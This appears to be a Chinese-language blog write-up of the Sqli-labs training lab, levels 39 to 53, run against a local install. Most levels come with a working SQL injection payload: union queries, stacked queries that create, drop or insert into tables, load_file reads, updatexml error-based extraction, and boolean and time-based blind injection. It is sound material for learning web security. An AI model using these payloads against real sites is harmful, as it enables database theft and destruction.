网络安全实验室安全学习安天365网络安全技术研究团队

Sqli-labs实验Task3(less39-53)

2018-03-15  本文已影响15人  折戟尘风

Sqli-labs实验Task3(less39-53)

Less-39

这个没有闭合的,所以直接使用联合查询:

$ http://127.0.0.1/sqli-labs-master/Less-39/?id=0 union select 1,user(),database() -- #

Less-40

不同的闭合,多尝试几次。

$ http://127.0.0.1/sqli-labs-master/Less-40/?id=0') union select 1,user(),database() -- #

Less-41

和39一样:

$ http://127.0.0.1/sqli-labs-master/Less-41/?id=0 union select 1,user(),database() -- #

但是page-3里的肯定不会这么简单,看了看page-3的标题,这是叠加注入,那就得在搞点其他的测试了,就用less-41来试一试:

$ http://127.0.0.1/sqli-labs-master/Less-41/?id=1;create table test like users;-- #

创建一个和users结构一样的表test。


1.PNG

同理我们可以对表数据进行更新,比如更改用户密码,删除数据库,或者利用load_file函数上传文件,比如php文件。。。

$ http://127.0.0.1/sqli-labs-master/Less-41/?id=1;select load_file('c:/tmpupbbn.php');

Less-42

这里显示的是登陆框,结合这里的叠加注入,我们继续尝试新姿势。
登录框用户名随便填,密码填:

$ a';create table test2 like users; -- 

创建一个test2的表。


2.PNG

同理,我们可以删除这个表,和之前的操作一样,我们用户名随便填,叠加注入写入相应的语句就行:

$ a';drop table test2 ; -- 

其他的可以继续尝试。不同的数据库会有不同的语句,有兴趣的可以多学习。

Less-43

这个和上一个差不多,不过post传参的闭合方式为单引号加括号,相应的语句稍微改一改就行。

Less-44

这里和42其实相差不多,只不多这里没有了报错,但是注入语句还是一样的,我们写几个新语句大家看看。
插入数据:

$ a’; insert into users(id,username,password) values ('233','233','233'); -- 

Less-45

这个也一样,和43的闭合时一样的,单引号加括号,只不过这里是没有报错,会提示说你是一个傻hacker。。。但是我们自己可以去查看数据库发现自己的语句是被执行了的。

Less-46

我们可以看到46的标题变了,现在我们要进行的就是order by的注入测试了,具体什么意思的。就是我们之前的sql语句最后都是limit 0,1。现在是:

$ select * from users order by id;

这时候我们就不能用之前的进行访问了:

$ http://127.0.0.1/sqli-labs-master/Less-46/?sort=1

这个传参就是sort传的就是order by的值,sort=1表示按id排序,看一下:


3.PNG

这就是我们访问上面的url看到的页面,这时候我们就可以考虑考虑如何构造order by的注入语句。Order by后面可以接上面语句呢。
我们可以尝试使用mysql的updatexml的函数来达到注入获取敏感信息的目的:

$ http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and(updatexml(1,concat(0x7e,(select user())),0))
4.PNG

同样我们可以更改updatexml()函数里的第二个参数里的sql语句,来获取我们想要的信息。比如:

$ http://127.0.0.1/sqli-labs-master/Less-46/?sort=5 and(updatexml(1,concat(0x7e,(select email_id from emails limit 0,1)),0))

Less-47

这个一下就猜到加了闭合。。。不要问我为什么,套路熟悉了一下就破了:

$ http://127.0.0.1/sqli-labs-master/Less-47/?sort=1' and(updatexml(1,concat(0x7e,(select email_id from emails limit 0,1)),0)) -- #

Less-48

这个没有报错了,这时候我们就不能用XPATH报错来获取信息了。不过可以使用盲注。
可以利用sort=rand(true/false)进行判断。写一下我们的注入语句:

$ http://127.0.0.1/sqli-labs-master/Less-48/?sort=rand(ascii(left(database(),1))=115)

这是正确的情况:

5.PNG
这是错误的情况:
6.PNG
我们可以根据正确错误的不同返回值来获取信息。
更多关于updatexml的注入可查看:
www.freebuf.com/column/145988.html

Less-49

这一个无论我们输入什么得出的都是一样的,这个时候我们就不能用上面的方法了,不过可以用基于时间的盲注(单引号闭合):

$ http://127.0.0.1/sqli-labs-master/Less-49/?sort=1' and (If(ascii(substr((select username from users where id=1),1,1))=69,0,sleep(5)))-- #

Less-50

从这里开始我们就开始新的,order by和叠加注入的挑战

$ http://127.0.0.1/sqli-labs-master/Less-50/?sort=1; insert into users values(1000,”root1”,”root1”) 

Less-51

不用猜就知道加了闭合:

$ http://127.0.0.1/sqli-labs-master/Less-51/?sort=1';create table test51 like users; -- 
7.PNG

Less-52

这个50一样,只是没有报错,payload也一样。

Less-53

这个和51一样,但是没有报错:

$ http://127.0.0.1/sqli-labs-master/Less-53/?sort=1';create table test53 like users; -- 

快结束了,还有最后page 4,也会在近期写完的。

上一篇下一篇

猜你喜欢

热点阅读